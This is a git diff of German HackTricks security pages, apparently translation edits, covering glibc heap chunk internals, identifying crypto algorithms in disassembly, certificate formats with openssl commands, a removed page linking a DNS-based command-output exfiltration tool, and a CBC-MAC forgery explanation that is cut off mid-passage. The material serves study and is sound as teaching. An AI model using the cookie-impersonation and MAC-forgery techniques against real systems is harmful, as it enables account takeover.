@ -142,7 +144,7 @@ INTERNAL_SIZE_T max_system_mem;
|
||||
```
|
||||
### malloc_chunk
|
||||
|
||||
Diese Struktur repräsentiert ein bestimmtes Speicherstück. Die verschiedenen Felder haben unterschiedliche Bedeutungen für zugewiesene und nicht zugewiesene Stücke.
|
||||
Diese Struktur repräsentiert einen bestimmten Speicherbereich. Die verschiedenen Felder haben unterschiedliche Bedeutungen für zugewiesene und nicht zugewiesene Speicherbereiche.
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
@ -167,9 +169,9 @@ Die Metadaten sind normalerweise 0x08B, was die aktuelle Chunk-Größe angibt, w
|
||||
- `M`: Wenn 1, ist dieser Chunk Teil eines mit mmap zugewiesenen Bereichs und nicht Teil eines Heaps
|
||||
- `P`: Wenn 1, ist der vorherige Chunk in Benutzung
|
||||
|
||||
Dann der Platz für die Benutzerdaten und schließlich 0x08B, um die Größe des vorherigen Chunks anzugeben, wenn der Chunk verfügbar ist (oder um Benutzerdaten zu speichern, wenn er zugewiesen ist).
|
||||
Dann folgt der Platz für die Benutzerdaten und schließlich 0x08B, um die Größe des vorherigen Chunks anzugeben, wenn der Chunk verfügbar ist (oder um Benutzerdaten zu speichern, wenn er zugewiesen ist).
|
||||
|
||||
Darüber hinaus wird, wenn verfügbar, der Benutzerdatenbereich auch verwendet, um einige Daten zu enthalten:
|
||||
Darüber hinaus wird, wenn verfügbar, der Platz für die Benutzerdaten auch verwendet, um einige Daten zu enthalten:
|
||||
|
||||
- **`fd`**: Zeiger auf den nächsten Chunk
|
||||
- **`bk`**: Zeiger auf den vorherigen Chunk
|
||||
@ -178,12 +180,12 @@ Darüber hinaus wird, wenn verfügbar, der Benutzerdatenbereich auch verwendet,
|
||||
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Beachten Sie, wie das Verknüpfen der Liste auf diese Weise die Notwendigkeit eines Arrays verhindert, in dem jeder einzelne Chunk registriert wird.
|
||||
|
||||
### Chunk-Zeiger
|
||||
### Chunk-Pointer
|
||||
|
||||
Wenn malloc verwendet wird, wird ein Zeiger auf den Inhalt, der geschrieben werden kann, zurückgegeben (direkt nach den Headern), jedoch ist beim Verwalten von Chunks ein Zeiger auf den Anfang der Header (Metadaten) erforderlich.\
|
||||
Wenn malloc verwendet wird, wird ein Zeiger auf den Inhalt, der geschrieben werden kann, zurückgegeben (direkt nach den Headern). Wenn jedoch Chunks verwaltet werden, wird ein Zeiger auf den Anfang der Header (Metadaten) benötigt.\
|
||||
Für diese Umwandlungen werden diese Funktionen verwendet:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
@ -328,7 +330,7 @@ people extending or adapting this malloc.
|
||||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
- Insue-Bit
|
||||
- Insue bit
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
@ -363,7 +365,7 @@ people extending or adapting this malloc.
|
||||
/* Set size at footer (only when chunk is not in use) */
|
||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||
```
|
||||
- Bestimmen Sie die Größe der tatsächlich verwendbaren Daten im Chunk
|
||||
- Bestimmen Sie die Größe der tatsächlich nutzbaren Daten im Chunk
|
||||
```c
|
||||
#pragma GCC poison mchunk_size
|
||||
#pragma GCC poison mchunk_prev_size
|
||||
@ -409,13 +411,13 @@ ptr = malloc(0x10);
|
||||
strcpy(ptr, "panda");
|
||||
}
|
||||
```
|
||||
Setze einen Breakpoint am Ende der Hauptfunktion und lass uns herausfinden, wo die Informationen gespeichert wurden:
|
||||
Setzen Sie einen Haltepunkt am Ende der Hauptfunktion und lassen Sie uns herausfinden, wo die Informationen gespeichert wurden:
|
||||
|
||||
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Es ist möglich zu sehen, dass der String panda bei `0xaaaaaaac12a0` gespeichert wurde (was die Adresse war, die als Antwort von malloc innerhalb von `x0` gegeben wurde). Wenn man 0x10 Bytes davor überprüft, kann man sehen, dass das `0x0` darstellt, dass der **vorherige Chunk nicht verwendet wird** (Länge 0) und dass die Länge dieses Chunks `0x21` beträgt.
|
||||
Es ist möglich zu sehen, dass die Zeichenkette panda bei `0xaaaaaaac12a0` gespeichert wurde (was die Adresse ist, die als Antwort von malloc innerhalb von `x0` gegeben wurde). Wenn man 0x10 Bytes davor überprüft, kann man sehen, dass das `0x0` darstellt, dass der **vorherige Chunk nicht verwendet wird** (Länge 0) und dass die Länge dieses Chunks `0x21` beträgt.
|
||||
|
||||
Die reservierten zusätzlichen Bytes (0x21-0x10=0x11) stammen von den **hinzugefügten Headern** (0x10) und 0x1 bedeutet nicht, dass es 0x21B reserviert wurde, sondern die letzten 3 Bits der Länge des aktuellen Headers haben einige spezielle Bedeutungen. Da die Länge immer 16-Byte ausgerichtet ist (in 64-Bit-Maschinen), werden diese Bits tatsächlich niemals von der Längenangabe verwendet.
|
||||
Der reservierte zusätzliche Platz (0x21-0x10=0x11) stammt von den **hinzugefügten Headern** (0x10) und 0x1 bedeutet nicht, dass es 0x21B reserviert wurde, sondern die letzten 3 Bits der Länge des aktuellen Headers haben einige spezielle Bedeutungen. Da die Länge immer 16-Byte-ausgerichtet ist (in 64-Bit-Maschinen), werden diese Bits tatsächlich niemals von der Längenzahl verwendet.
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
@ -469,7 +471,7 @@ return 0;
|
||||
```
|
||||
</details>
|
||||
|
||||
Beim Debuggen des vorherigen Beispiels ist es möglich zu sehen, dass zu Beginn nur 1 Arena vorhanden ist:
|
||||
Durch das Debuggen des vorherigen Beispiels ist es möglich zu sehen, dass zu Beginn nur 1 Arena vorhanden ist:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -477,11 +479,11 @@ Dann, nach dem Aufruf des ersten Threads, der malloc aufruft, wird eine neue Are
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
und darin können einige Chunks gefunden werden:
|
||||
Und darin können einige Chunks gefunden werden:
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Speicherzuweisungen/Freigaben
|
||||
## Bins & Speicherzuweisungen/-freigaben
|
||||
|
||||
Überprüfen Sie, was die Bins sind und wie sie organisiert sind und wie Speicher zugewiesen und freigegeben wird in:
|
||||
|
||||
@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md
|
||||
|
||||
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,19 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# Grundlegende Payloads
|
||||
|
||||
- **Einfache Liste:** Einfach eine Liste mit einem Eintrag in jeder Zeile
|
||||
- **Laufzeitdatei:** Eine Liste, die zur Laufzeit gelesen wird (nicht im Speicher geladen). Zum Unterstützen großer Listen.
|
||||
- **Falländerung:** Wenden Sie einige Änderungen an einer Liste von Zeichenfolgen an (Keine Änderung, zu klein, zu GROSS, zu ordentlichem Namen - Erster Buchstabe groß und der Rest klein -, zu ordentlichem Namen - Erster Buchstabe groß und der Rest bleibt gleich -).
|
||||
- **Zahlen:** Zahlen von X bis Y mit Z Schritt oder zufällig generieren.
|
||||
- **Brute Forcer:** Zeichensatz, min. & max. Länge.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload zum Ausführen von Befehlen und Abrufen der Ausgabe über DNS-Anfragen an burpcollab.
|
||||
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,12 +1,10 @@
|
||||
# Kryptografische/Kompressionsalgorithmen
|
||||
|
||||
## Kryptografische/Kompressionsalgorithmen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identifizierung von Algorithmen
|
||||
|
||||
Wenn Sie in einem Code **Rechts- und Linksverschiebungen, XORs und mehrere arithmetische Operationen** verwenden, ist es sehr wahrscheinlich, dass es sich um die Implementierung eines **kryptografischen Algorithmus** handelt. Hier werden einige Möglichkeiten gezeigt, um **den verwendeten Algorithmus zu identifizieren, ohne jeden Schritt umkehren zu müssen**.
|
||||
Wenn Sie in einem Code **Rechts- und Linksverschiebungen, Xors und mehrere arithmetische Operationen** verwenden, ist es sehr wahrscheinlich, dass es sich um die Implementierung eines **kryptografischen Algorithmus** handelt. Hier werden einige Möglichkeiten gezeigt, um **den verwendeten Algorithmus zu identifizieren, ohne jeden Schritt umkehren zu müssen**.
|
||||
|
||||
### API-Funktionen
|
||||
|
||||
@ -16,7 +14,7 @@ Wenn diese Funktion verwendet wird, können Sie herausfinden, welcher **Algorith
|
||||
|
||||
.png>)
|
||||
|
||||
Überprüfen Sie hier die Tabelle möglicher Algorithmen und deren zugewiesene Werte: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
Überprüfen Sie hier die Tabelle der möglichen Algorithmen und deren zugewiesenen Werte: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
@ -33,7 +31,7 @@ Initiiert das Hashing eines Datenstroms. Wenn diese Funktion verwendet wird, kö
|
||||
.png>)
|
||||
|
||||
\
|
||||
Überprüfen Sie hier die Tabelle möglicher Algorithmen und deren zugewiesene Werte: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
Überprüfen Sie hier die Tabelle der möglichen Algorithmen und deren zugewiesenen Werte: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Code-Konstanten
|
||||
|
||||
@ -46,12 +44,12 @@ Wenn Sie die erste Konstante bei Google suchen, erhalten Sie Folgendes:
|
||||
.png>)
|
||||
|
||||
Daher können Sie annehmen, dass die dekompilierte Funktion ein **sha256-Rechner** ist.\
|
||||
Sie können jede der anderen Konstanten suchen und (wahrscheinlich) dasselbe Ergebnis erhalten.
|
||||
Sie können jede der anderen Konstanten suchen und Sie werden (wahrscheinlich) dasselbe Ergebnis erhalten.
|
||||
|
||||
### Dateninfo
|
||||
|
||||
Wenn der Code keine signifikante Konstante hat, kann es sein, dass er **Informationen aus dem .data-Bereich lädt**.\
|
||||
Sie können auf diese Daten zugreifen, **die erste DWORD gruppieren** und sie in Google suchen, wie wir es im vorherigen Abschnitt getan haben:
|
||||
Wenn der Code keine signifikante Konstante hat, könnte er **Informationen aus dem .data-Bereich laden**.\
|
||||
Sie können auf diese Daten zugreifen, **die erste dword gruppieren** und sie in Google suchen, wie wir es im vorherigen Abschnitt getan haben:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -64,11 +62,11 @@ In diesem Fall, wenn Sie nach **0xA56363C6** suchen, können Sie feststellen, da
|
||||
Es besteht aus 3 Hauptteilen:
|
||||
|
||||
- **Initialisierungsphase/**: Erstellt eine **Tabelle von Werten von 0x00 bis 0xFF** (insgesamt 256 Bytes, 0x100). Diese Tabelle wird häufig als **Substitutionsbox** (oder SBox) bezeichnet.
|
||||
- **Scrambling-Phase**: Wird **durch die zuvor erstellte Tabelle** (Schleife von 0x100 Iterationen, erneut) schleifen und jeden Wert mit **semi-zufälligen** Bytes modifizieren. Um diese semi-zufälligen Bytes zu erstellen, wird der RC4 **Schlüssel verwendet**. RC4 **Schlüssel** können **zwischen 1 und 256 Bytes lang** sein, es wird jedoch normalerweise empfohlen, dass sie länger als 5 Bytes sind. Häufig sind RC4-Schlüssel 16 Bytes lang.
|
||||
- **Scrambling-Phase**: Wird **durch die zuvor erstellte Tabelle** (Schleife von 0x100 Iterationen, erneut) schleifen und jeden Wert mit **semi-zufälligen** Bytes modifizieren. Um diese semi-zufälligen Bytes zu erstellen, wird der RC4 **Schlüssel verwendet**. RC4 **Schlüssel** können **zwischen 1 und 256 Bytes lang** sein, es wird jedoch normalerweise empfohlen, dass sie mehr als 5 Bytes betragen. Üblicherweise sind RC4-Schlüssel 16 Bytes lang.
|
||||
- **XOR-Phase**: Schließlich wird der Klartext oder Chiffretext mit den zuvor erstellten Werten **XORed**. Die Funktion zum Verschlüsseln und Entschlüsseln ist dieselbe. Dazu wird eine **Schleife durch die erstellten 256 Bytes** so oft wie nötig durchgeführt. Dies wird normalerweise in einem dekompilierten Code mit einem **%256 (mod 256)** erkannt.
|
||||
|
||||
> [!NOTE]
|
||||
> **Um einen RC4 in einem Disassemblierungs-/dekompilierten Code zu identifizieren, können Sie nach 2 Schleifen der Größe 0x100 (unter Verwendung eines Schlüssels) suchen und dann ein XOR der Eingabedaten mit den 256 zuvor in den 2 Schleifen erstellten Werten, wahrscheinlich unter Verwendung eines %256 (mod 256)**
|
||||
> [!TIP]
|
||||
> **Um einen RC4 in einem Disassemblierungs-/dekompilierten Code zu identifizieren, können Sie nach 2 Schleifen der Größe 0x100 (unter Verwendung eines Schlüssels) suchen und dann ein XOR der Eingabedaten mit den 256 zuvor in den 2 Schleifen erstellten Werten wahrscheinlich unter Verwendung eines %256 (mod 256)**
|
||||
|
||||
### **Initialisierungsphase/Substitutionsbox:** (Beachten Sie die Zahl 256, die als Zähler verwendet wird, und wie eine 0 an jedem Platz der 256 Zeichen geschrieben wird)
|
||||
|
||||
@ -87,8 +85,8 @@ Es besteht aus 3 Hauptteilen:
|
||||
### **Eigenschaften**
|
||||
|
||||
- Verwendung von **Substitutionsboxen und Nachschlagetabellen**
|
||||
- Es ist möglich, **AES anhand der Verwendung spezifischer Nachschlagetabellenwerte** (Konstanten) zu unterscheiden. _Beachten Sie, dass die **Konstante** **im Binärformat gespeichert** oder _**dynamisch erstellt**_ werden kann._
|
||||
- Der **Verschlüsselungsschlüssel** muss **durch 16** (normalerweise 32B) teilbar sein, und normalerweise wird ein **IV** von 16B verwendet.
|
||||
- Es ist möglich, **AES anhand der Verwendung spezifischer Nachschlagetablenwerte** (Konstanten) zu unterscheiden. _Beachten Sie, dass die **Konstante** **im Binärformat gespeichert** oder _**dynamisch**_ **erstellt** werden kann._
|
||||
- Der **Verschlüsselungsschlüssel** muss **durch 16** (normalerweise 32B) **teilbar** sein, und normalerweise wird ein **IV** von 16B verwendet.
|
||||
|
||||
### SBox-Konstanten
|
||||
|
||||
@ -120,7 +118,7 @@ Daher ist es möglich, diesen Algorithmus zu identifizieren, indem man die **mag
|
||||
|
||||
- Komplexer als symmetrische Algorithmen
|
||||
- Es gibt keine Konstanten! (benutzerdefinierte Implementierungen sind schwer zu bestimmen)
|
||||
- KANAL (ein Krypto-Analyzer) zeigt keine Hinweise auf RSA, da er auf Konstanten angewiesen ist.
|
||||
- KANAL (ein Krypto-Analyzer) kann keine Hinweise auf RSA zeigen, da er auf Konstanten angewiesen ist.
|
||||
|
||||
### Identifizierung durch Vergleiche
|
||||
|
||||
@ -170,7 +168,7 @@ Ein CRC-Hash-Algorithmus sieht wie folgt aus:
|
||||
### Eigenschaften
|
||||
|
||||
- Nicht erkennbare Konstanten
|
||||
- Sie können versuchen, den Algorithmus in Python zu schreiben und online nach ähnlichen Dingen zu suchen
|
||||
- Sie können versuchen, den Algorithmus in Python zu schreiben und nach ähnlichen Dingen online zu suchen
|
||||
|
||||
### Identifizieren
|
||||
|
||||
|
@ -1,157 +0,0 @@
|
||||
# Zertifikate
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Was ist ein Zertifikat
|
||||
|
||||
Ein **öffentliches Schlüsselzertifikat** ist eine digitale ID, die in der Kryptographie verwendet wird, um zu beweisen, dass jemand einen öffentlichen Schlüssel besitzt. Es enthält die Details des Schlüssels, die Identität des Eigentümers (das Subjekt) und eine digitale Signatur von einer vertrauenswürdigen Autorität (dem Aussteller). Wenn die Software dem Aussteller vertraut und die Signatur gültig ist, ist eine sichere Kommunikation mit dem Eigentümer des Schlüssels möglich.
|
||||
|
||||
Zertifikate werden hauptsächlich von [Zertifizierungsstellen](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in einer [Public-Key-Infrastruktur](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) ausgegeben. Eine andere Methode ist das [Web of Trust](https://en.wikipedia.org/wiki/Web_of_trust), bei dem Benutzer die Schlüssel gegenseitig direkt verifizieren. Das gängige Format für Zertifikate ist [X.509](https://en.wikipedia.org/wiki/X.509), das an spezifische Bedürfnisse angepasst werden kann, wie in RFC 5280 beschrieben.
|
||||
|
||||
## x509 Gemeinsame Felder
|
||||
|
||||
### **Gemeinsame Felder in x509-Zertifikaten**
|
||||
|
||||
In x509-Zertifikaten spielen mehrere **Felder** eine entscheidende Rolle bei der Gewährleistung der Gültigkeit und Sicherheit des Zertifikats. Hier ist eine Übersicht über diese Felder:
|
||||
|
||||
- **Versionsnummer** bezeichnet die Version des x509-Formats.
|
||||
- **Seriennummer** identifiziert das Zertifikat eindeutig innerhalb des Systems einer Zertifizierungsstelle (CA), hauptsächlich zur Rückverfolgbarkeit bei Widerruf.
|
||||
- Das **Subjekt**-Feld repräsentiert den Eigentümer des Zertifikats, der eine Maschine, eine Einzelperson oder eine Organisation sein kann. Es enthält detaillierte Identifikationsinformationen wie:
|
||||
- **Common Name (CN)**: Domains, die durch das Zertifikat abgedeckt sind.
|
||||
- **Land (C)**, **Ort (L)**, **Bundesstaat oder Provinz (ST, S oder P)**, **Organisation (O)** und **Organisatorische Einheit (OU)** bieten geografische und organisatorische Details.
|
||||
- **Distinguished Name (DN)** fasst die vollständige Subjektidentifikation zusammen.
|
||||
- **Aussteller** gibt an, wer das Zertifikat verifiziert und signiert hat, einschließlich ähnlicher Unterfelder wie das Subjekt für die CA.
|
||||
- **Gültigkeitszeitraum** wird durch die Zeitstempel **Not Before** und **Not After** markiert, um sicherzustellen, dass das Zertifikat vor oder nach einem bestimmten Datum nicht verwendet wird.
|
||||
- Der Abschnitt **Öffentlicher Schlüssel**, der für die Sicherheit des Zertifikats entscheidend ist, spezifiziert den Algorithmus, die Größe und andere technische Details des öffentlichen Schlüssels.
|
||||
- **x509v3-Erweiterungen** verbessern die Funktionalität des Zertifikats und spezifizieren **Key Usage**, **Extended Key Usage**, **Subject Alternative Name** und andere Eigenschaften, um die Anwendung des Zertifikats zu verfeinern.
|
||||
|
||||
#### **Schlüsselverwendung und Erweiterungen**
|
||||
|
||||
- **Key Usage** identifiziert kryptographische Anwendungen des öffentlichen Schlüssels, wie digitale Signatur oder Schlüsselausverschlüsselung.
|
||||
- **Extended Key Usage** schränkt die Anwendungsfälle des Zertifikats weiter ein, z.B. für die TLS-Serverauthentifizierung.
|
||||
- **Subject Alternative Name** und **Basic Constraint** definieren zusätzliche Hostnamen, die durch das Zertifikat abgedeckt sind, und ob es sich um ein CA- oder End-Entity-Zertifikat handelt.
|
||||
- Identifikatoren wie **Subject Key Identifier** und **Authority Key Identifier** gewährleisten die Einzigartigkeit und Rückverfolgbarkeit von Schlüsseln.
|
||||
- **Authority Information Access** und **CRL Distribution Points** bieten Pfade zur Überprüfung der ausstellenden CA und zur Überprüfung des Widerrufsstatus des Zertifikats.
|
||||
- **CT Precertificate SCTs** bieten Transparenzprotokolle, die für das öffentliche Vertrauen in das Zertifikat entscheidend sind.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
issuer = certificate.issuer
|
||||
subject = certificate.subject
|
||||
public_key = certificate.public_key()
|
||||
|
||||
print(f"Serial Number: {serial_number}")
|
||||
print(f"Issuer: {issuer}")
|
||||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Unterschied zwischen OCSP und CRL-Verteilungspunkten**
|
||||
|
||||
**OCSP** (**RFC 2560**) beinhaltet, dass ein Client und ein Responder zusammenarbeiten, um zu überprüfen, ob ein digitales Public-Key-Zertifikat widerrufen wurde, ohne die vollständige **CRL** herunterladen zu müssen. Diese Methode ist effizienter als die traditionelle **CRL**, die eine Liste von widerrufenen Zertifikat-Seriennummern bereitstellt, aber das Herunterladen einer potenziell großen Datei erfordert. CRLs können bis zu 512 Einträge enthalten. Weitere Details sind [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) verfügbar.
|
||||
|
||||
### **Was ist Zertifikatstransparenz**
|
||||
|
||||
Zertifikatstransparenz hilft, zertifikatsbezogene Bedrohungen zu bekämpfen, indem sichergestellt wird, dass die Ausstellung und Existenz von SSL-Zertifikaten für Domaininhaber, CAs und Benutzer sichtbar sind. Ihre Ziele sind:
|
||||
|
||||
- Verhindern, dass CAs SSL-Zertifikate für eine Domain ohne das Wissen des Domaininhabers ausstellen.
|
||||
- Etablierung eines offenen Auditsystems zur Verfolgung fälschlicherweise oder böswillig ausgestellter Zertifikate.
|
||||
- Schutz der Benutzer vor betrügerischen Zertifikaten.
|
||||
|
||||
#### **Zertifikatsprotokolle**
|
||||
|
||||
Zertifikatsprotokolle sind öffentlich prüfbare, nur anhängbare Aufzeichnungen von Zertifikaten, die von Netzwerkdiensten verwaltet werden. Diese Protokolle bieten kryptografische Nachweise für Prüfungszwecke. Sowohl Ausstellungseinrichtungen als auch die Öffentlichkeit können Zertifikate in diese Protokolle einreichen oder sie zur Verifizierung abfragen. Während die genaue Anzahl der Protokollserver nicht festgelegt ist, wird erwartet, dass sie weltweit weniger als tausend beträgt. Diese Server können unabhängig von CAs, ISPs oder jeder interessierten Entität verwaltet werden.
|
||||
|
||||
#### **Abfrage**
|
||||
|
||||
Um die Zertifikatstransparenzprotokolle für eine beliebige Domain zu erkunden, besuchen Sie [https://crt.sh/](https://crt.sh).
|
||||
|
||||
Es gibt verschiedene Formate zur Speicherung von Zertifikaten, jedes mit eigenen Anwendungsfällen und Kompatibilität. Diese Zusammenfassung behandelt die Hauptformate und bietet Anleitungen zur Konvertierung zwischen ihnen.
|
||||
|
||||
## **Formate**
|
||||
|
||||
### **PEM-Format**
|
||||
|
||||
- Am weitesten verbreitetes Format für Zertifikate.
|
||||
- Erfordert separate Dateien für Zertifikate und private Schlüssel, kodiert in Base64 ASCII.
|
||||
- Häufige Erweiterungen: .cer, .crt, .pem, .key.
|
||||
- Hauptsächlich verwendet von Apache und ähnlichen Servern.
|
||||
|
||||
### **DER-Format**
|
||||
|
||||
- Ein binäres Format von Zertifikaten.
|
||||
- Fehlen die "BEGIN/END CERTIFICATE"-Anweisungen, die in PEM-Dateien zu finden sind.
|
||||
- Häufige Erweiterungen: .cer, .der.
|
||||
- Oft verwendet mit Java-Plattformen.
|
||||
|
||||
### **P7B/PKCS#7-Format**
|
||||
|
||||
- In Base64 ASCII gespeichert, mit den Erweiterungen .p7b oder .p7c.
|
||||
- Enthält nur Zertifikate und Kettenzertifikate, ohne den privaten Schlüssel.
|
||||
- Unterstützt von Microsoft Windows und Java Tomcat.
|
||||
|
||||
### **PFX/P12/PKCS#12-Format**
|
||||
|
||||
- Ein binäres Format, das Serverzertifikate, Zwischenzertifikate und private Schlüssel in einer Datei kapselt.
|
||||
- Erweiterungen: .pfx, .p12.
|
||||
- Hauptsächlich auf Windows für den Import und Export von Zertifikaten verwendet.
|
||||
|
||||
### **Formate konvertieren**
|
||||
|
||||
**PEM-Konvertierungen** sind entscheidend für die Kompatibilität:
|
||||
|
||||
- **x509 zu PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
- **PEM zu DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
- **DER zu PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
- **PEM zu P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
- **PKCS7 zu PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX-Konvertierungen** sind entscheidend für die Verwaltung von Zertifikaten unter Windows:
|
||||
|
||||
- **PFX zu PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
- **PFX zu PKCS#8** umfasst zwei Schritte:
|
||||
1. PFX in PEM konvertieren
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. PEM in PKCS8 umwandeln
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
- **P7B zu PFX** erfordert ebenfalls zwei Befehle:
|
||||
1. P7B in CER konvertieren
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. CER und privaten Schlüssel in PFX umwandeln
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
---
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,55 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# CBC
|
||||
|
||||
Wenn das **Cookie** **nur** der **Benutzername** ist (oder der erste Teil des Cookies der Benutzername ist) und Sie den Benutzernamen "**admin**" nachahmen möchten. Dann können Sie den Benutzernamen **"bdmin"** erstellen und das **erste Byte** des Cookies **bruteforcen**.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**) ist eine Methode, die in der Kryptographie verwendet wird. Sie funktioniert, indem sie eine Nachricht blockweise verschlüsselt, wobei die Verschlüsselung jedes Blocks mit dem vorherigen verknüpft ist. Dieser Prozess erstellt eine **Kette von Blöcken**, die sicherstellt, dass die Änderung auch nur eines einzelnen Bits der ursprünglichen Nachricht zu einer unvorhersehbaren Änderung im letzten Block der verschlüsselten Daten führt. Um eine solche Änderung vorzunehmen oder rückgängig zu machen, ist der Verschlüsselungsschlüssel erforderlich, was die Sicherheit gewährleistet.
|
||||
|
||||
Um den CBC-MAC der Nachricht m zu berechnen, verschlüsselt man m im CBC-Modus mit einem Null-Initialisierungsvektor und behält den letzten Block. Die folgende Abbildung skizziert die Berechnung des CBC-MAC einer Nachricht, die aus Blöcken besteht unter Verwendung eines geheimen Schlüssels k und eines Blockchiffrierverfahrens E:
|
||||
|
||||
.svg/570px-CBC-MAC_structure_(en).svg.png>)
|
||||
|
||||
# Verwundbarkeit
|
||||
|
||||
Bei CBC-MAC ist normalerweise der **IV 0**.\
|
||||
Das ist ein Problem, weil 2 bekannte Nachrichten (`m1` und `m2`) unabhängig 2 Signaturen (`s1` und `s2`) erzeugen. Also:
|
||||
|
||||
- `E(m1 XOR 0) = s1`
|
||||
- `E(m2 XOR 0) = s2`
|
||||
|
||||
Dann wird eine Nachricht, die aus m1 und m2 concatenated (m3) besteht, 2 Signaturen (s31 und s32) erzeugen:
|
||||
|
||||
- `E(m1 XOR 0) = s31 = s1`
|
||||
- `E(m2 XOR s1) = s32`
|
||||
|
||||
**Was möglich ist, ohne den Schlüssel der Verschlüsselung zu kennen.**
|
||||
|
||||
Stellen Sie sich vor, Sie verschlüsseln den Namen **Administrator** in **8-Byte**-Blöcken:
|
||||
|
||||
- `Administ`
|
||||
- `rator\00\00\00`
|
||||
|
||||
Sie können einen Benutzernamen namens **Administ** (m1) erstellen und die Signatur (s1) abrufen.\
|
||||
Dann können Sie einen Benutzernamen erstellen, der das Ergebnis von `rator\00\00\00 XOR s1` ist. Dies wird `E(m2 XOR s1 XOR 0)` erzeugen, was s32 ist.\
|
||||
